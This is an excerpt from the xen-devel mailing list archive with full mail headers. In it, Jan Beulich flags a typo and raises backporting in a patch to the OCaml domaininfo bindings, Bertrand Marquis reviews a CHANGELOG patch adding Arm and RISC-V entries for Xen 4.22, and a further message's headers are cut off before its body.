Cc: Julian Vetter <julian.vetter@vates.tech>,
 Andrii Sultanov <andriy.sultanov@vates.tech>,
 Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>,
 Xen-devel <xen-devel@lists.xenproject.org>
References: <20260728154830.67734-1-andrew.cooper3@citrix.com>
 <20260728154830.67734-2-andrew.cooper3@citrix.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260728154830.67734-2-andrew.cooper3@citrix.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-720697/1785304998-323D42AC-AFDDCD41/0/0
X-purgate-type: clean
X-purgate-size: 880

On 28.07.2026 17:48, Andrew Cooper wrote:
> @@ -452,16 +456,17 @@ static value alloc_domaininfo(xc_domaininfo_t * info)
>  		(info->arch_config.emulation_flags);
>  
>  	/* xen_x86_arch_domainconfig */
> -	x86_arch_config = caml_alloc_tuple(1);
> -	Store_field(x86_arch_config, 0, emul_list);
> +	arch_config = caml_alloc_tuple(1);
> +	Field(arch_config, 0) = emul_list;
>  
> -	/* arch_config: arch_domainconfig */
> -	arch_config = caml_alloc_small(1, 1);
> -
> -	Store_field(arch_config, 0, x86_arch_config);
> -
> -	Store_field(result, 16, arch_config);
>  #endif
> +	if (tag < 0)
> +		caml_failwith("Unimplemented architecutre in alloc_domaininfo()");

As I now ended up looking here as well (to determine whether this series will
want backporting): s/architecutre/architecture/ .

As to backporting: Both patches may want to have Fixes: tags?

Jan


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 06:44:32 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 06:44:32 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375161.1622391 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woy1h-0005xU-Lw; Wed, 29 Jul 2026 06:44:25 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375161.1622391; Wed, 29 Jul 2026 06:44:25 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woy1h-0005xN-JG; Wed, 29 Jul 2026 06:44:25 +0000
Received: by outflank-mailman (input) for mailman id 1375161;
 Wed, 29 Jul 2026 06:44:24 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1woy1g-0005xH-DV
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 06:44:24 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woy1f-009DZ4-I5
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 08:44:23 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Bertrand.Marquis@arm.com>)
 id 6a69a145-5cb7-0a2a0a5109dd-0a2a4501e84c-2
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 08:44:23 +0200
Received: from [40.107.130.6]
 (helo=MRWPR03CU001.outbound.protection.outlook.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Bertrand.Marquis@arm.com>)
 id 6a69a146-5984-0a2a45010019-286b82067d53-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 08:44:22 +0200
Received: from AS4P190CA0024.EURP190.PROD.OUTLOOK.COM (2603:10a6:20b:5d0::15)
 by PAXPR08MB7382.eurprd08.prod.outlook.com (2603:10a6:102:22d::6)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.12; Wed, 29 Jul
 2026 06:44:16 +0000
Received: from AM3PEPF00009BA2.eurprd04.prod.outlook.com
 (2603:10a6:20b:5d0:cafe::5f) by AS4P190CA0024.outlook.office365.com
 (2603:10a6:20b:5d0::15) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.12 via Frontend Transport; Wed,
 29 Jul 2026 06:44:16 +0000
Received: from outbound-uk1.az.dlp.m.darktrace.com (4.158.2.129) by
 AM3PEPF00009BA2.mail.protection.outlook.com (10.167.16.27) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.5
 via Frontend Transport; Wed, 29 Jul 2026 06:44:16 +0000
Received: from PR3PR08MB5593.eurprd08.prod.outlook.com (2603:10a6:102:84::13)
 by AM0PR08MB5458.eurprd08.prod.outlook.com (2603:10a6:208:185::7)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.12; Wed, 29 Jul
 2026 06:43:13 +0000
Received: from PR3PR08MB5593.eurprd08.prod.outlook.com
 ([fe80::aae1:6871:afc4:620e]) by PR3PR08MB5593.eurprd08.prod.outlook.com
 ([fe80::aae1:6871:afc4:620e%6]) with mapi id 15.21.0270.009; Wed, 29 Jul 2026
 06:43:13 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=arm.com header.i="@arm.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=selector1 header.d=arm.com header.i="@arm.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=2; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=pass;
 b=QNramig3Rcrt8CroIkrHOgWy3Ny3WrIlNVjg7mZueutukuRZD1yQXNPFy3qdcjQpgxw8hTvxCx24/oZeIAiF3VYPVIras7buP0QaXBt/EbraPrMWuFKpVKOikMf2jzMYalE1vZrQl+v+Qk6lWjheHEPBuxnZGkHRKiEDK52SJDS3dSrZm3oqu+mksHP1AV7WJ9AdB8RZNU+yFtIO3Og78FuLrYp0vDIW07Qf/oxddKLXzUwrhqoarzpbFwda2moTHUtkAxTzf7Bu3Z7liv5ZL+tOpW2hBoG8tAXOkAoEhB0z9M9VTLnwzxUCShs/Lv7h9phM1H1liUxNDvrl5+S0GA==
ARC-Message-Signature: i=2; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=Kc2DpSiJQuW98VB2RMgvZbLFpx0hC99rJGFgFEP6Y4Y=;
 b=H8LHiBIH3L1bnd4Ylm/DW1qgjKyiSA1NNmoHz8qMQghFDW6MdXzlEDHs44Y5VcJ6bB/9CPCg1ti/xsJx8FAxqJvK7R/Iy5giE4XmBrxlGs2VSpRxD0UU4gb7g9NgfDZr3aZbo7TioA3h07uOsB5g5Snq3+y4gLfnnxCumFS2Ys7oU5kO9frlbxtVAaxREp9eQ3KlPNt9PyUsNpPGXIWnrjL4ZvIPRdG4OY03gR6c8XcwIdOHPz9btznQhmePxkZedwrzOgNYQrAGSe3BRDqPUXZzRts2pqgQ8F0ked+A8a6b8U2uuksvwKVxtw2Tgy65rx4+4Gc89s1bPDKpTrSfKw==
ARC-Authentication-Results: i=2; mx.microsoft.com 1; spf=pass (sender ip is
 4.158.2.129) smtp.rcpttodomain=gmail.com smtp.mailfrom=arm.com; dmarc=pass
 (p=none sp=none pct=100) action=none header.from=arm.com; dkim=pass
 (signature was verified) header.d=arm.com; arc=pass (0 oda=1 ltdi=1
 spf=[1,1,smtp.mailfrom=arm.com] dkim=[1,1,header.d=arm.com]
 dmarc=[1,1,header.from=arm.com])
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=arm.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Kc2DpSiJQuW98VB2RMgvZbLFpx0hC99rJGFgFEP6Y4Y=;
 b=KegZTjBwxhRMtcEJW46AJgMXQEH2AQKfg6OspTkOuuTkwAwPZ2TT63SrxxNjzZ/kpwDX3FwnMkgLXmQh+loqGh1DA4OX52AZuNjYBUBV2PnuU7bNio7UKIvU7SXSc1XjbkKoHysv2W8RByK9PzJcB76OwuiajWU+ksEL88lA44E=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 4.158.2.129)
 smtp.mailfrom=arm.com; dkim=pass (signature was verified)
 header.d=arm.com;dmarc=pass action=none header.from=arm.com;
Received-SPF: Pass (protection.outlook.com: domain of arm.com designates
 4.158.2.129 as permitted sender) receiver=protection.outlook.com;
 client-ip=4.158.2.129; helo=outbound-uk1.az.dlp.m.darktrace.com; pr=C
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=Kcwq5xso8pks+5Xrcacd37MeKcQFM5PAdvzSK19vdajn864IpprSr19DffL7ML9P5+rcbd9skodXZIqGk2aj4RTQzvyj1XbAs/6stSLXTePBi6FmVqaqCYVHtkJ4smwfxdikXJMDrTQ1e0e3PsLzlccE0CT3X0eLJbxLqZqhOhHvrwB/54/p6BNJBctucSIWF7KqnM3NDBI45AimvPNUGsRUSSgCtuPQN0m+GuGalliCqiFJlw2x9CvhAoreoMqSYXcqB+V6i7aEdIpOZ9f75R+5+XxzgKfkyEdx8ffXdVS6v692oe2uiSL/pV+yukf0aAMmJB+7AJg4QZmdx25Sfw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=Kc2DpSiJQuW98VB2RMgvZbLFpx0hC99rJGFgFEP6Y4Y=;
 b=gW/4OXn7Zt0xxlzCht3D4Wsys7/FtS2aLK6uKKOTns2qluU64nBKOo/P/TWEZcLs2lQh8pJClOPitUXC7AXahPCGwoklNGEffgWaJuaHUBpYqSaEzv32IPcFzof+Y+DJIBMklEMGrcB+bt5TstBRI4ntoiJ1yZODh3T3UmvJxsJ8RLdkkXJkkAqY1ag75n9vhzmMhWiYKVlSnBH+yuaTBq29ZtLj2idVh+6WFoJy+afUPdG6GTRu7na6xhXq9qaRPnJEzxRP732s8q+VZiVspXFgj/xz06tx5W837nLWD4o1Srmij4z/EYv96zqwY/YgcF6nt6rWBzkOWxHq0/i+GA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=arm.com; dmarc=pass action=none header.from=arm.com; dkim=pass
 header.d=arm.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=arm.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Kc2DpSiJQuW98VB2RMgvZbLFpx0hC99rJGFgFEP6Y4Y=;
 b=KegZTjBwxhRMtcEJW46AJgMXQEH2AQKfg6OspTkOuuTkwAwPZ2TT63SrxxNjzZ/kpwDX3FwnMkgLXmQh+loqGh1DA4OX52AZuNjYBUBV2PnuU7bNio7UKIvU7SXSc1XjbkKoHysv2W8RByK9PzJcB76OwuiajWU+ksEL88lA44E=
From: Bertrand Marquis <Bertrand.Marquis@arm.com>
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
CC: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
	Community Manager <community.manager@xenproject.org>, "committers @
 xenproject . org" <committers@xenproject.org>, Julien Grall <julien@xen.org>,
	"Orzel, Michal" <michal.orzel@amd.com>, Stefano Stabellini
	<sstabellini@kernel.org>
Subject: Re: [PATCH] CHANGELOG: add Arm and RISC-V entries for 4.22
Thread-Topic: [PATCH] CHANGELOG: add Arm and RISC-V entries for 4.22
Thread-Index: AQHdEs2bgCv+muPD6UKnmhJ7FnziuraEJWaA
Date: Wed, 29 Jul 2026 06:43:13 +0000
Message-ID: <24C3741F-1803-4ED7-84E3-0A2801468D41@arm.com>
References:
 <8087862a1149a8875b578c2b3d044919d8563a39.1783950107.git.oleksii.kurochko@gmail.com>
In-Reply-To:
 <8087862a1149a8875b578c2b3d044919d8563a39.1783950107.git.oleksii.kurochko@gmail.com>
Accept-Language: en-GB, en-US
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
x-mailer: Apple Mail (2.3864.600.51.1.1)
Authentication-Results-Original: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=arm.com;
x-ms-traffictypediagnostic:
	PR3PR08MB5593:EE_|AM0PR08MB5458:EE_|AM3PEPF00009BA2:EE_|PAXPR08MB7382:EE_
X-MS-Office365-Filtering-Correlation-Id: c2143743-a11f-4670-a354-08deed3ccf2d
x-checkrecipientrouted: true
nodisclaimer: true
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam-Untrusted:
 BCL:0;ARA:13230040|1800799024|376014|366016|23010399003|38070700021|11063799006|56012099006|10067099003|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info-Original:
 DT4wSUVLKdNTVIboLgWdHkejugDr2QP5R+EKPrZQW6m/2VjH6v3VI7NGjO/y3rHJXNSGR89wDegF3PzK8cAEKb0YBefAKYn4sIPitLuynu3lCZwKlhSLLMr+fU0oBCbaqYjddnQMURut6mcgPJSJuuBj58v4ID+H+m88UoX5cN2JCoXPRIzca/E5i0qucCtQ4mVcrevTf2DG8EHFa2nXLwtDbvb2PfKY8NNzbMwrzaHKu/VcFRup7vTcfuA4dAd2rjht915enK/rzq+mcrhsSlmwPbu0vLl8k4kut9TGqcCwNjuZmdtZKJGPvsk5GlWXijEKygQo1KiahSa0A8Mi/H3U3C39R4BDYWIlNPi2gR6KEQXwkcAocUusM8WyPfBmz6CxLJVXVNRv6Rik/3IIAOBXToxcGIM2v1+UTr3l039GdVR2malPZa8OEL6owA4f15a+0QgESszakkjCsjrdzFKF0/Z0L7GZACa/i58J1nnaXgUWNcyfWicsvv3vzg2FGd/QdnvUH7lJoVuKDrR/3kqjCaLZO7Wi4lLCJA9mVfJ4zMv223TtUkGSCzYHwExu9PkYAWPpeXXYifMNXZGItvV9/CtfSRLfd04ZBIOwQZfVfkE1tUJEZNDGArouRl+LrDnXja1b1gy+R/iu56nI7yLJlYHUBXXFHBHT4IFeiM0=
X-Forefront-Antispam-Report-Untrusted:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:PR3PR08MB5593.eurprd08.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(376014)(366016)(23010399003)(38070700021)(11063799006)(56012099006)(10067099003)(22082099003)(18002099003);DIR:OUT;SFP:1101;
Content-Type: text/plain; charset="us-ascii"
Content-ID: <1F776A3F99FD054FAA51ACDD6F18E224@eurprd08.prod.outlook.com>
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
X-Exchange-RoutingPolicyChecked:
 I7ceVMikhhcNgxqI8hyXSd3fjTgSdPjNVjoBp7ZtKMn4gFKFvWU/ZuYf0Znj35487nLG156R/Mb+jmkKUsN/JvIZ/6GBQsyKEAxAJzwIn8pKzcQ93XvzXXUcdo5fiLXaCG1Xqej/GsPEf7LTKSkpfF454OObUs37BinG3gPKa/0bipLAnMXbkukh/wi6xgJkQkxvkubKf4a6gqtkW9lfAiIDll9rghSgyyBfR7s8I5eOJ0STpMeU86ETxwKr7lwcCalR5zsaLX5Sc7OgnPtoYlQ5p8nut0/qv5CouGzZY4vJUZd3xqIYHgtFi1GU+ejfUqzrrd3MMFeLXymeAmWQxQ==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: AM0PR08MB5458
X-EOPAttributedMessage: 0
X-MS-Exchange-Transport-CrossTenantHeadersStripped:
 AM3PEPF00009BA2.eurprd04.prod.outlook.com
X-MS-PublicTrafficType: Email
X-MS-Office365-Filtering-Correlation-Id-Prvs:
	b8a48b41-31b6-4ae3-e6ba-08deed3ca9e0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|35042699022|1800799024|82310400026|36860700016|14060799003|23010399003|18002099003|22082099003|13003099007|56012099006|11063799006|10067099003;
X-Microsoft-Antispam-Message-Info:
	CcdgXeNUFYP88v1O7CS9KkoBE3NGZO+54bvy6vGv7ExXMtCyV+MVe+ybg01m5/3l0e7fct1AYaPs1mUqIpRLy27GtPJLNNqlhE3Hv6RqojRgKY4EX90y438lp1v/T7pOQkaeWZy3B3WX8OuYLreVnOgTugrinmGxB9sI6kspf+hs+m3OQrsMDJF3Tu1fsJamiwmYRawwYSkk3qXbZI88FULWTSbHuC9D9miwoBElGEh/geaUjZ7Dp1yJx5By1UTUawLJxlJsj6LEy5kQrOHz8LnNX1l27F/bSKImQ+iVwBLIOH+juAh7p1M5bej1Uw16rkeu3t0puLYH5cnpaTWYxW3eYddpFXPtX5HMz66MwvstciQxeNbeKTKsngNYKDWFFmvfrzKBN8zezHC5IxqNX38WgoxfJjsk9GC/QUac8g82nGKkb3ww2DH712HSOyLmMVFBCy2CUzgLDt1a1HtKMZrr5OTspAauGOyBwhQy9wKIy3qq7EzunqmpfBPggMz2ZhU5naLuJ/GM4FwVJLirCXjhMmiZjTnLdTTf3yliiIuU1MeoEAnZcs0qrU9rQeC8Z3iB+wlBGsNaHsoXnuaZLa7ZkQewoQ3l3136+sy1VNcNJxvnpu1MV57LrUUzJrj6SkJVlACpVtXOWDn0EBanrw==
X-Forefront-Antispam-Report:
	CIP:4.158.2.129;CTRY:GB;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:outbound-uk1.az.dlp.m.darktrace.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(376014)(35042699022)(1800799024)(82310400026)(36860700016)(14060799003)(23010399003)(18002099003)(22082099003)(13003099007)(56012099006)(11063799006)(10067099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	feGfZJGa8y954kpKQ7YvsG7aL2ofs0F1LI6cvbYDNPtAQZqNPJFtKXKoNtJpPdZdOJZnJCsZJa5DMnnNkvFgJNdn9OfGFF0xbo+npxJv5EfLxqfs7oNBtakGusMu/h/9HVHIT4I9q4TrpJ373yKYfbEgVRvxGhIP21ORvvCtWZTAhc182Gnoe2HL9nk1I8rbSyUO/w9EjxnUepP6zuizn+yiorsJzcOa/MrMyJ7YwTxpYgOsvpChtsm3hNz303r9rTqA3SKJEWG4KsdkmeWul+z66Ar8f4d7P1ZP2+4tlOGRlNmskyzZW4dzdV3h9MWYL98AyY+0wHYunWsVyi1ROfUt27QJQarAHLMhcWxJ+EC3JuECb2VI/zv8bIydYwav1Blf4kDNjp0xLhnFMnADZOv69z4HSy37dvcubHsFl0TO46uMB+w1HADsakLZgO5x
X-OriginatorOrg: arm.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 29 Jul 2026 06:44:16.1979
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: c2143743-a11f-4670-a354-08deed3ccf2d
X-MS-Exchange-CrossTenant-Id: f34e5979-57d9-4aaa-ad4d-b122a662184d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=f34e5979-57d9-4aaa-ad4d-b122a662184d;Ip=[4.158.2.129];Helo=[outbound-uk1.az.dlp.m.darktrace.com]
X-MS-Exchange-CrossTenant-AuthSource:
	AM3PEPF00009BA2.eurprd04.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: PAXPR08MB7382
X-purgate-ID: tlsNG-d62444/1785307463-C5341757-EF0164AC/10/73395122804
X-purgate-type: spam
X-purgate-size: 1334

Hi Oleksii,

It seems that this was missed.

> On 13 Jul 2026, at 15:43, Oleksii Kurochko <oleksii.kurochko@gmail.com> w=
rote:
>=20
> Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>

Reviewed-by: Bertrand Marquis <bertrand.marquis@arm.com>

Cheers
Bertramd

> ---
> Changes in v2:
> - Address the comment from ML.
> - Reword second RISC-V's item.
> ---
> ---
> CHANGELOG.md | 9 +++++++++
> 1 file changed, 9 insertions(+)
>=20
> diff --git a/CHANGELOG.md b/CHANGELOG.md
> index 356be88351a9..4dca8359cd4a 100644
> --- a/CHANGELOG.md
> +++ b/CHANGELOG.md
> @@ -46,6 +46,15 @@ The format is based on [Keep a Changelog](https://keep=
achangelog.com/en/1.0.0/)
>  - On Arm:
>    - Support for guest suspend and resume to/from RAM via vPSCI.
>      Applies only to non-hardware domain guests.
> +   - Continued Armv8-R MPU enablement.
> +   - Drop ThumbEE support.
> +   - FF-A v1.2 support.
> +
> + - On RISC-V:
> +   - SSTC extension support for Xen (not for guest yet).
> +   - Introduce domain build helpers (CONFIG_DOMAIN_BUILD_HELPERS) which =
allows
> +     to load Linux kernel, initrd and allocation related things forfor d=
evice
> +     tree-based domains, laying the groundwork for guest boot support.
>=20
> ### Removed
>  - On x86:
> --=20
> 2.54.0
>=20
>=20



From xen-devel-bounces@lists.xenproject.org Wed Jul 29 06:48:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 06:48:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375170.1622400 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woy5Q-0006x7-87; Wed, 29 Jul 2026 06:48:16 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375170.1622400; Wed, 29 Jul 2026 06:48:16 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woy5Q-0006x0-5T; Wed, 29 Jul 2026 06:48:16 +0000
Received: by outflank-mailman (input) for mailman id 1375170;
 Wed, 29 Jul 2026 06:48:15 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Bertrand.Marquis@arm.com>) id 1woy5O-0006wu-Qx
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 06:48:15 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woy5O-004omy-0g
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 08:48:14 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Bertrand.Marquis@arm.com>)
 id 6a69a228-2eae-0a2a0a5409dd-0a2a4506b580-12
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 08:48:13 +0200
Received: from [52.101.83.1]
 (helo=GVXPR05CU001.outbound.protection.outlook.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Bertrand.Marquis@arm.com>)
 id 6a69a22c-195a-0a2a45060019-34655301cdbd-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 08:48:13 +0200
Received: from AM0PR10CA0034.EURPRD10.PROD.OUTLOOK.COM (2603:10a6:20b:150::14)
 by PAVPR08MB9064.eurprd08.prod.outlook.com (2603:10a6:102:2ff::21)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.12; Wed, 29 Jul
 2026 06:48:09 +0000
Received: from AMS1EPF0000008F.eurprd05.prod.outlook.com
 (2603:10a6:20b:150:cafe::2c) by AM0PR10CA0034.outlook.office365.com
 (2603:10a6:20b:150::14) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.12 via Frontend Transport; Wed,
 29 Jul 2026 06:48:08 +0000
Received: from outbound-uk1.az.dlp.m.darktrace.com (4.158.2.129) by
 AMS1EPF0000008F.mail.protection.outlook.com (10.167.242.86) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.5
 via Frontend Transport; Wed, 29 Jul 2026 06:48:08 +0000
Received: from PR3PR08MB5593.eurprd08.prod.outlook.com (2603:10a6:102:84::13)
 by AS2PR08MB8807.eurprd08.prod.outlook.com (2603:10a6:20b:5f3::19)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.12; Wed, 29 Jul
 2026 06:47:02 +0000
Received: from PR3PR08MB5593.eurprd08.prod.outlook.com
 ([fe80::aae1:6871:afc4:620e]) by PR3PR08MB5593.eurprd08.prod.outlook.com
 ([fe80::aae1:6871:afc4:620e%6]) with mapi id 15.21.0270.009; Wed, 29 Jul 2026
 06:47:01 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
